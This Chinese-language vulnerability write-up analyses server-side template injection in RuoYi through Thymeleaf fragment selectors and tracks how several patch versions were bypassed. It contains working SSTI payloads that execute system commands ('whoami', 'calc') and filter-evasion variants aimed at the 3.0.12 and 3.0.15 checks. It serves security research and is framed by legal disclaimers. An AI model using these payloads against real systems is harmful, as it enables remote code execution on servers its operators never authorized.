本文所涉及的技术、思路和工具仅供安全研究和教学使用。
严禁用于非法用途:请勿利用本文中的技术对未授权的目标进行扫描、攻击或测试。
法律责任:利用本文所提供的信息而造成的任何直接或间接后果和损失,均由使用者本人负责,本文作者不承担任何法律责任。
合规建议:请遵守《中华人民共和国网络安全法》、《中华人民共和国数据安全法》等相关法律法规。
安全研究是为了更好地防御,请做一名合法的白帽子。
在以往版本的ruoyi中, 曾爆出过ssti漏洞, 漏洞点如下
::是Themeleaf的片段选择器语法, 用来确定渲染模板中的哪一段内容
这里返回模板的片段选择器直接拼接了用户可控的fragment, 导致模板注入
但随着Themeleaf的更新, 该漏洞也就被修复了
我们可以使用类似以下payload来利用.
__${#response.addHeader("x-cmd",
new java.util.Scanner(
new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk"
).useDelimiter("\\A").next()
)}__::.x
在进行模板渲染时,__ __包裹的内容是被预先执行的
这个版本增加了安全策略, 增加了 SpringRequestUtils和 SpringStandardExpressionUtils两个类。
diff
https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.11.RELEASE...thymeleaf-spring5-3.0.12.RELEASE?diff=unified&w=
简单来说, 主要问题就是不允许new``T()出现, 但我们依然可以使用类似以下payload绕过
__${T (java.lang.Runtime).getRuntime().exec("calc")}__::
__${#response.addHeader("x-cmd",
nEw java.util.Scanner(
New ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk"
).useDelimiter("\\A").next()
)}__::.x
最新版本的ruoyi使用了Themeleaf3.0.15
尝试之前的payload
__${T (java.lang.Runtime).getRuntime().exec("calc")}__::
已经过不了checkViewNameNotInRequest的检测了
对比3.0.12 和3.0.15
https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.12.RELEASE...thymeleaf-spring5-3.0.15.RELEASE?diff=unified&w=
这个版本新增了containsExpression
private static boolean containsExpression(final String text) {
final int textLen = text.length();
char c;
boolean expInit = false;
for (int i = 0; i < textLen; i++) {
c = text.charAt(i);
if (!expInit) {
if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') {
expInit = true;
}
} else {
if (c == '{') {
return true;
} else if (!Character.isWhitespace(c)) {
expInit = false;
}
}
}
return false;
}
其对requestURI,paramValue做了检测, 检测到表达式后抛出错误
但实际上这个检测并不严谨, 当检测到expInit字符时, 判断逻辑是后面紧跟的字符是不是{:
如果是{则认为检测到了表达式,
如果不是{, 当其为空格时继续检测下一个字符是不是{, 不为空格则认为没有检测到表达式
问题在于第一个expInit字符后面的字符被拿去判断是否为{, 对其是否为expInit字符的检测就被跳过了
那我们其实可用构造出这样的payload逃过检测
$任意字符{}
$${}
显然$${}是可能被利用的, 但thymeleaf并不允许执行这样的表达式
阅读其文档
|n4c1, ${...}|, 其中的表达式${...}可以被执行
因此可以构造:
__|$${#response.addHeader("x-cmd","n4c1")}|__::.x
这样的payload实际上等价于
__'$' + ${#response.addHeader("x-cmd","n4c1")}__
调试一下
可以看见与我们的预期相同
但当我们尝试rce时其实是失败的, 这个版本把SpringStandardExpressionUtils中把之前的containsSpELInstantiationOrStatic换成了containsSpELInstantiationOrStaticOrParam, 并且对检查逻辑进行了加强, 不允许T()``new xxx``T ()``param这样的表达式内容出现, 但我们依然可以利用类似于沙箱逃逸的方法来绕过
成功RCE
技术本身是中立的,但使用技术的人必须有底线。
切勿越界:本文介绍的漏洞复现和利用方法,仅限在自己搭建的本地靶场或经过授权的环境中进行测试。严禁对互联网上的真实目标进行扫描或攻击。
法律红线:根据《中华人民共和国刑法》第285条、第286条,非法侵入计算机信息系统、破坏计算机信息系统功能等行为均构成犯罪,将面临严厉的刑事处罚。
共同维护:网络安全是国家安全的一部分。作为安全从业者或爱好者,应致力于发现问题并协助修复,共同维护网络空间的和平与安全。
请时刻牢记:网络不是法外之地,行车不规范,亲人两行泪。